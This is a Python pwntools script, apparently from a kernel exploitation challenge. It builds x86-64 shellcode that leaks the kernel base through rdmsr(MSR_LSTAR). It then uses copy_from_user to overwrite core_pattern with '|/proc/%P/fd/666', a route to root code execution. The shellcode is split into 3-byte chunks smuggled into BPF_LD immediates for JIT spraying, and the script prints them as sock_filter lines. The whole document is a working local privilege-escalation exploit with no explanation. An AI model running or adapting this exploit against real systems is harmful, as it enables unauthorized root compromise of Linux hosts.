#!/usr/bin/env python3

from pwn import *
import struct

"""
ffffffff82200000 T entry_SYSCALL_64
ffffffff817bb0c0 T _copy_from_user
ffffffff8117da60 T msleep
ffffffff837a2d80 D core_pattern
"""

entry_syscall = 0xffffffff82200000
core_pattern = 0xffffffff837a2d80
copy_from_user = 0xffffffff817bb0c0
msleep = 0xffffffff8117da60

off1 = entry_syscall-core_pattern
off2 = core_pattern-copy_from_user
off3 = copy_from_user-msleep
ins = ["sub", "add"]

context.arch = 'amd64'

ASM=f"""
; do rdmsr(MSR_LSTAR) so EDX and EAX will contain address of entry_SYSCALL_64
; ECX should be MSR_LSTAR ( 0xc0000082 )
xor ecx, ecx    
xor edx, edx    
mov cl, 0xc0    
shl ecx, 24    
mov cl, 0x82    
rdmsr
; make rdx = entry_SYSCALL_64's address
xor ecx, ecx    
mov cl, 32    
shl rdx, cl    
add rdx, rax  
; entry_SYSCALL_64 + 0x15a68e0 = core_pattern
; move core_pattern to rdi ( 1st arg )
xor esi,esi    
mov sil, {(abs(off1)>>24)&0xff}    
shl esi, 8    
mov sil, {(abs(off1)>>16)&0xff}    
shl esi, 8    
mov sil, {(abs(off1)>>8)&0xff}    
shl esi, 8    
mov sil, {(abs(off1))&0xff}    
{ins[off1<0]} rdx, rsi    
mov rdi, rdx    
; core_pattern - 0x1fe7cc0 = copy_from_user
; move copy_from_user to rax
xor esi,esi    
mov sil, {(abs(off2)>>24)&0xff}    
shl esi, 8    
mov sil, {(abs(off2)>>16)&0xff}    
shl esi, 8    
mov sil, {(abs(off2)>>8)&0xff}    
shl esi, 8    
mov sil, {(abs(off2))&0xff}    
{ins[off2<0]} rdx, rsi    
mov rax, rdx    
; call copy_from_user(core_pattern, user_buf, 0x30);
; user_buf = 0xa00000 = "|/proc/%P/fd/666"
xor esi, esi    
mov sil,0xa0    
shl esi,16    
xor edx,edx    
mov dl,0x30    
push rax
call rax    
pop rax
; copy_from_user - 0x63f6d0 = msleep
xor esi, esi
mov sil, {(abs(off3)>>24)&0xff}    
shl esi, 8    
mov sil, {(abs(off3)>>16)&0xff}    
shl esi, 8    
mov sil, {(abs(off3)>>8)&0xff}    
shl esi, 8    
mov sil, {(abs(off3))&0xff}    
{ins[off3<0]} rax, rsi    
; move 0x7000000 to rdi ( 1st arg )  
xor edi,edi
mov dil,0x70
shl edi,20
call rax
"""
def toi(data):
    assert len(data) == 4
    return struct.unpack('<I', data)[0]

def add_slip(code):
    assert len(code) <= 3
    return hex(toi(code.ljust(3, b'\x90') + b'\x3c'))

for a in ASM.strip().split("\n")[::-1]:
    #print(a)
    if a[0] == ';':
        continue
    cur = add_slip(asm(a))
    print("filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = " + cur +"};")
